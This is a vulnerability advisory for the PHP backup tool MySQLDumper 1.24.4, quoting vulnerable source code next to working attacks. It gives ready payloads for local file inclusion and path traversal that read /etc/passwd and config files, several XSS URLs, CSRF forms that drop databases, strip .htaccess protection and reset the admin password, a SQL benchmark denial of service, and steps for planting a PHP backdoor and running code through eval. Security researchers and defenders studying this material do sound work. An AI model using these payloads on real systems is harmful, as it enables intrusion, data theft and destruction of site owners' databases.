================================================================================================
Vulnerable Software: MySQLDumper Version 1.24.4
Downloaded from: http://sourceforge.net/projects/mysqldumper/files/
(MD5 SUM: b62357a0d5bbb43779d16427c30966a1 *MySQLDumper1.24.4.zip)
================================================================================================
About Software:
What is MySQLDumper ?
MySQLDumper is a PHP and Perl based tool for backing up MySQL databases.
You can easily dump your data into a backup file and - if needed - restore it.
It is especially suited for shared hosting webspaces, where you don't have shell access.
MySQLDumper is an open source project and released under the GNU-license.
================================================================================================
Tested:
*php.ini MAGIC_QUOTES_GPC OFF*
Safe mode off
/*
OS: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
MYSQL: 5.5.23
================================================================================================
Vuln Desc:
MySQLDumper Version 1.24.4 is prone to:
LFI,XSS,CSRF,PHP CODE ExeCution,traversal,Info Disclosure vulns.
Local File Inclusion
http://192.168.0.15/learn/cubemail/install.php?language=../../../../../../../../../../../../../../../../../etc/passwd%00
/* Vulnerable COde Section
//install.php
if (!@ob_start("ob_gzhandler")) @ob_start();
$install_ftp_server=$install_ftp_user_name=$install_ftp_user_pass=$install_ftp_path="";
$dbhost=$dbuser=$dbpass=$dbport=$dbsocket=$manual_db='';
foreach ($_GET as $getvar=>$getval)
{
${$getvar}=$getval;
}
foreach ($_POST as $postvar=>$postval)
{
${$postvar}=$postval;
}
include_once ( './inc/functions.php' );
include_once ( './inc/mysql.php' );
include_once ( './inc/runtime.php' );
if (!isset($language)) $language="en";
$config['language']=$language;
include ( './language/lang_list.php' );
include ( 'language/' . $language . '/lang_install.php' );
include ( 'language/' . $language . '/lang_main.php' );
include ( 'language/' . $language . '/lang_config_overview.php' );
*/
XSS on inputs via $_POST
http://192.168.0.15/learn/cubemail/install.php?phase=1&language=en&submit=Installation
http://192.168.0.15/learn/cubemail/index.php?page=javascript:alert%28document.cookie%29;
/*VUlnerable code section
//index.php
<?php
if (!@ob_start("ob_gzhandler")) @ob_start();
include ('./inc/functions.php');
$page=(isset($_GET['page'])) ? $_GET['page'] : 'main.php';
if (!file_exists("./work/config/mysqldumper.php"))
{
header("location: install.php");
ob_end_flush();
die();
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"
"http://www.w3.org/TR/html4/frameset.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="Author" content="Daniel Schlichtholz">
<title>MySQLDumper</title>
</head>
<frameset border=0 cols="190,*">
<frame name="MySQL_Dumper_menu" src="menu.php" scrolling="no" noresize
frameborder="0" marginwidth="0" marginheight="0">
<frame name="MySQL_Dumper_content" src="<?php
echo $page; // <=here is
?>"
scrolling="auto" frameborder="0" marginwidth="0" marginheight="0">
</frameset>
</html>
<?php
ob_end_flush();
*/
XSS via $_GET
http://192.168.0.15/learn/cubemail/install.php?phase=8%3Cscript%3Ealert%281%29;%3C/script%3E&language=en&submit=Installation
http://192.168.0.15/learn/cubemail/sql.php?db=0&dbid=1&tablename=%3Cscript%3Ealert%281%29;%3C/script%3E
http://192.168.0.15/learn/cubemail/sql.php?db=0&dbid=%3Cscript%3Ealert%281%29;%3C/script%3E&tablename=1
http://192.168.0.15/learn/cubemail/restore.php?filename=%3Cscript%3Ealert%281%29;%3C/script%3E
CSRF Delete application protection via $_GET
<img src="http://192.168.0.15/learn/cubemail/main.php?action=deletehtaccess" />
*After this Application will become fully unprotected from World.*
CSRF Drop database:
<img src="http://localhost/tld/meonyourpc.PNG" heigth="250" width="300" />
<form name="hackit" id="hackit" action="http://192.168.0.15/learn/cubemail/main.php?action=db&dbid=1" method="post">
<p><blink>Hotlink Protection is Active! Please click refresh button.</blink></p>
<input name="kill1" value="Refresh" onclick="alert('Congrats!) Your Database Dropped!')" type="submit">
</form>
kill0 is always information_schema (obviously you can't drop it)
Try to increment that index
in ex:
kill1 etc.
CSRF Uninstall Application via $_GET
http://192.168.0.15/learn/cubemail/install.php?language=en&phase=101
or
http://192.168.0.15/learn/cubemail/install.php?language=en&phase=2 (This will delete existing config.php file)
CSRF change password:
<body onload="javascript:document.forms[0].submit()">
<form method="post" action="http://192.168.0.15/learn/cubemail/main.php?action=schutz">
<input name="username" id="username" type="text" value="pwnyou" />
<input name="userpass1" id="userpass1" type="text" value="pwnyou" />
<input name="userpass2" id="userpass2" type="text" value="pwnyou" />
<!--SHA1 (all Systems) -->
<input type="radio" name="type" id="type2" value="2" checked="checked" >
</form>
username:pwnyou
password:pwnyou
CSRF:Execute SQL commands via $_GET
In eg:( Create Denial Of Service Condition)
<img src="http://192.168.0.15/learn/cubemail/sql.php?sql_statement=select+benchmark%28100000000,md5%28now%28%29%29%29--" heigth="0" width="0" />
After gain access to application (in eg: after successfully exploitation CSRF via delete protection technique)
remote attacker can use this techniques to upload his/her backdoor.
As result this will completely compromise site.
*Upload backdoor:*
Rename your backdoor on your pc to me.php.gz
Then switch to:
http://192.168.0.15/learn/cubemail/filemanagement.php?action=files
Upload it:
Then Switch to:
http://192.168.0.15/learn/cubemail/main.php?action=edithtaccess
On input box called: File:
enter relative/absolute path to your uploaded me.php.gz (default ./work/backup/me.php.gz)
Click RELOAD button.
On inputbox called File: Change file extension to:
./work/backup/me.php
Click save button and Vuala you have your own backdoor there.
You can find it:
http://192.168.0.15/learn/cubemail/work/backup/me.php
Same tehcnique can be used without upload any file:
Todo so:
Switch to
http://192.168.0.15/learn/cubemail/filemanagement.php?action=files
Enter non existent file name on input called File:
in eg:
mybackdoor.php
Click reload button.
it will ask *Create it?*
Click *Create* Button.
Copy paste your backdoor content to textarea and Click Save button.
Same technique can be used to add CUSTOM .htaccess Handler (to execute backdoor in eg: as *.gif file)
*NOTE* Second technique can be used by attacker to overwrite existing files./read arbitraty files on site/server.
Theris also chance to execute our code using eval PHP language *construct*.
We have PHP Code ExeCution here:
Vulnerable code section:
/*
//menu.php
if (isset($_POST['selected_config'])||isset($_GET['config']))
{
if (isset($_POST['selected_config'])) $new_config=$_POST['selected_config'];
// Configuration was switched in content frame?
if (isset($_GET['config'])) $new_config=$_GET['config'];
// restore the last active menuitem
if (is_readable($config['paths']['config'].$new_config.'.php'))
{
clearstatcache();
unset($databases);
$databases=array();
if (read_config($new_config))
{
$config['config_file']=$new_config;
$_SESSION['config_file']=$new_config; //$config['config_file'];
$config_refresh='
<script language="JavaScript" type="text/javascript">
if (parent.MySQL_Dumper_content.location.href.indexOf("config_overview.php")!=-1)
{
var selected_div=parent.MySQL_Dumper_content.document.getElementById("sel").value;
}
else selected_div=\'\';
parent.MySQL_Dumper_content.location.href=\'config_overview.php?config='.urlencode($new_config).'&sel=\'+selected_div</script>';
}
if (isset($_GET['config'])) $config_refresh=''; //Neu-Aufruf bei Uebergabe aus Content-Bereich verhindern
}
}
*/
As you can see we can traverse it +
if we will look to read_config() function
//inc/functions_global.php
function read_config($file=false)
{
global $config,$databases;
$ret=false;
if (!$file) $file=$config['config_file'];
// protect from including external files
$search=array(':', 'http', 'ftp', ' ');
$replace=array('', '', '', '');
$file=str_replace($search,$replace,$file);
if (is_readable($config['paths']['config'].$file.'.php'))
{
// to prevent modern server from caching the new configuration we need to evaluate it this way
clearstatcache();
$f=implode('',file($config['paths']['config'].$file.'.php'));
$f=str_replace('<?php','',$f);
$f=str_replace('?>','',$f);
eval($f);
$config['config_file']=$file;
$_SESSION['config_file']=$config['config_file'];
$ret=true;
}
return $ret;
}
this means remote attacker can iterate his/her code as PHP.(Notice: eval($f))
Our exploit:
http://192.168.0.15/learn/cubemail/menu.php?config=../../ss
where ss = ss.php
#cat ss.php # in eg attacker uploaded his/her own file:
echo 'Our command executed ' . getcwd();
phpinfo();
Print screen:
http://s007.radikal.ru/i302/1204/c3/fd5aac2a58c5.png
Theris also a lot of CROSS Site Scripting Vulnerabilities: (XSS)
Switch to:
http://192.168.0.15/learn/cubemail/sql.php?db=information_schema&dbid=0
Enter:
select '<script>alert(1);</script>'
and click Execute SQL Statement.
Traversal:
/*Vulnerable Code Section:
//filemanagement.php
<?php
if (isset($_GET['action'])&&$_GET['action']=='dl') $download=true;
include ('./inc/header.php');
include_once ('./language/'.$config['language'].'/lang.php');
include_once ('./language/'.$config['language'].'/lang_filemanagement.php');
include_once ('./language/'.$config['language'].'/lang_config_overview.php');
include_once ('./language/'.$config['language'].'/lang_main.php');
include_once ('./inc/functions_files.php');
include_once ('./inc/functions_sql.php');
$msg='';
$dump=array();
if ($config['auto_delete']==1) $msg=AutoDelete();
get_sql_encodings(); // get possible sql charsets and also get default charset
//0=Datenbank 1=Struktur
$action=(isset($_GET['action'])) ? $_GET['action'] : 'files';
$kind=(isset($_GET['kind'])) ? $_GET['kind'] : 0;
$expand=(isset($_GET['expand'])) ? $_GET['expand'] : -1;
$selectfile=(isset($_POST['selectfile'])) ? $_POST['selectfile'] : "";
$destfile=(isset($_POST['destfile'])) ? $_POST['destfile'] : "";
$compressed=(isset($_POST['compressed'])) ? $_POST['compressed'] : "";
$dk=(isset($_POST['dumpKommentar'])) ? ((get_magic_quotes_gpc()) ? stripslashes($_POST['dumpKommentar']) : $_POST['dumpKommentar']) : "";
$dk=str_replace(':','|',$dk); // remove : because of statusline
$dump['sel_dump_encoding']=(isset($_POST['sel_dump_encoding'])) ? $_POST['sel_dump_encoding'] : get_index($config['mysql_possible_character_sets'],$config['mysql_standard_character_set']);
$dump['dump_encoding']=isset($config['mysql_possible_character_sets'][$dump['sel_dump_encoding']]) ? $config['mysql_possible_character_sets'][$dump['sel_dump_encoding']] : 0;
if ($action=='dl')
{
// Download of a backup file wanted
$file='./'.$config['paths']['backup'].urldecode($_GET['f']);
if (is_readable($file))
{
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: '.(string) filesize($file));
flush();
$file=fopen($file,"rb");
while (!feof($file))
{
print fread($file,round(100*1024));
flush();
}
fclose($file);
}
//readfile($file);
exit();
}
*/
Exploit:
http://192.168.0.15/learn/cubemail/filemanagement.php?action=dl&f=../../config.php
http://192.168.0.15/learn/cubemail/filemanagement.php?action=dl&f=../../../../../../../../../../../etc/passwd%00
This technique can be used by attacker to download arbitraty files from site/server.
Print screen:
http://s017.radikal.ru/i431/1204/e2/9075bb5fecd4.png
Information Disclosure:
Try to Direct access to this file:
http://192.168.0.15/learn/cubemail/restore.php
Generates a lot of Notice's.
http://192.168.0.15/learn/cubemail/dump.php
Generates a lot of Notice's.
http://192.168.0.15/learn/cubemail/refresh_dblist.php
Fatal error: Call to undefined function MSD_mysql_connect() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\cubemail\inc\functions.php on line 147
NOTE: May be previous versions too affected but not tested.
================================ EOF ======================================
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to all AA Team.
++++++++++++++++++++++++++++++
Thank you.
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